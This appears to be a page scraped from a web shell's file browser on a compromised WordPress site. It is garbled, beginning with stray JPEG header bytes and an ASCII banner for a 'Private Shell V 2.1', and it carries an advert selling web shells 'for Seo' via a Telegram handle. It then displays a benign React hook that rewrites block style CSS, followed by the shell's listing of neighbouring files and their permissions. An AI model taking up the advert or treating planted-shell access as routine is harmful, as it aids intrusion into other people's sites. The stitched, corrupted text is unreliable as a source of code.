����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { isInEditor } from '@agent/lib/util';
import { useCallback, useEffect, useRef, useState } from '@wordpress/element';
const styleId = 'block-style-variation-styles-inline-css';
const editorIframeSelector = 'iframe[name="editor-canvas"]';
const editorStylesWrapper = '.editor-styles-wrapper';
const getEditorDocument = () => {
const iframe = document.querySelector(editorIframeSelector);
return iframe?.contentDocument || document;
};
// update the CSS so that it won't affect the switcher preview area
const transformVibeCSS = (css, slug) => css.replaceAll(slug, 'natural-1');
export const useSiteVibesOverride = ({ css, slug }) => {
const blockStyles = useRef(null);
const [theDocument, setDocument] = useState(null);
const onEditor = isInEditor();
useEffect(() => {
if (!css || onEditor || !slug) return;
const style = document.getElementById(styleId);
if (!style) return;
if (!blockStyles.current) {
blockStyles.current = style.innerHTML;
}
style.innerHTML = transformVibeCSS(css, slug);
}, [css, slug, onEditor]);
useEffect(() => {
if (!css || !theDocument || !onEditor) return;
const style = theDocument.getElementById(styleId);
const hasIframe = document.querySelector(editorIframeSelector);
let modifiedCss = css
.replaceAll(':root', hasIframe ? ':root' : editorStylesWrapper)
.replaceAll(slug, 'natural-1')
.replace(
/:where\(([^)]+)\)/g,
':where($1):not(.ext-vibe-container, .ext-vibe-container *)',
);
if (!hasIframe) {
modifiedCss = modifiedCss
.replace('body{', `${editorStylesWrapper}{`)
.replace(
/(h[1-6](?:\s*,\s*h[1-6])*)\s*\{/g,
`${editorStylesWrapper} $1{`,
);
}
style.innerHTML = modifiedCss;
}, [css, slug, theDocument, onEditor]);
useEffect(() => {
if (theDocument) return;
const timer = setTimeout(() => {
if (theDocument) return;
const doc = getEditorDocument();
if (!doc || !doc.body) return;
const newStyle = doc.createElement('style');
newStyle.id = styleId;
doc.body.appendChild(newStyle);
setDocument(doc);
}, 300);
return () => clearTimeout(timer);
}, [theDocument]);
const undoChange = useCallback(() => {
const style = document.getElementById(styleId);
if (style && blockStyles.current) {
style.innerHTML = blockStyles.current;
}
if (!onEditor) return;
const doc = getEditorDocument();
doc?.getElementById(styleId)?.remove();
}, [onEditor]);
return { undoChange };
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| useDraggable.js | File | 3.77 KB | 0644 |
|
| useFontVariationOverride.js | File | 3.92 KB | 0644 |
|
| useIframeScale.js | File | 786 B | 0644 |
|
| useLockPost.js | File | 607 B | 0644 |
|
| usePortal.js | File | 478 B | 0644 |
|
| useResizable.js | File | 3.17 KB | 0644 |
|
| useSiteVibesOverride.js | File | 2.39 KB | 0644 |
|
| useSiteVibesVariations.js | File | 1.82 KB | 0644 |
|
| useThemeFontsVariations.js | File | 1.17 KB | 0644 |
|
| useThemeVariations.js | File | 1.14 KB | 0644 |
|
| useVariationOverride.js | File | 3.14 KB | 0644 |
|
| useWhenFinishedToolProps.js | File | 2.2 KB | 0644 |
|